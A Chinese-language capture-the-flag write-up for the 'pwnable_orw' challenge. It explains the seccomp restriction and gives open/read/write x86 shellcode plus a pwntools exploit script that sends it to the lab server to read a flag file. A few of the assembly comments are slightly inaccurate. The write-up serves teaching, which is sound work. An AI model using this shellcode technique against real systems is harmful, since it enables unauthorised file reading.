pwnable_orw
使用checksec
查看:
开了Canary,但没有开NX,可以考虑写入shellcode执行。
放进IDA中查看:
调用orw_seccomp
函数后,将用户输入的字符串执行。
直接尝试写入shellcode,发现失败,便回过来看orw_seccomp()
函数:
seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
用seccomp-tools
来看下还剩下哪些系统调用可以使用:
OK 还有orw可以使用。
题目思路:
-
打开flag文件,sys_open(file,0,0);系统调用号为5
-
push 0x0 #字符串结尾 push 0x67616c66 #'flags' mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 #sys_open(flags,0,0)
-
-
读flag文件,sys_read(3,file,0x100);系统调用号为3
-
mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x100; #对应字节数 int 0x80;
-
-
输出flag文件内容,sys_write(1,file,0x30);系统调用号为4
-
mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80;
-
或者用shellcraft
生成shellcode。
exp:
from pwn import *
#start
# r = process("../buu/pwnable_orw")
r = remote('node4.buuoj.cn',26281)
context.log_level = 'debug'
#attack
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read('eax','esp',42)
shellcode += shellcraft.write(1,'esp',42)
payload = asm(shellcode)
r.sendlineafter("shellcode:",payload)
print(r.recv())
# io.interactive()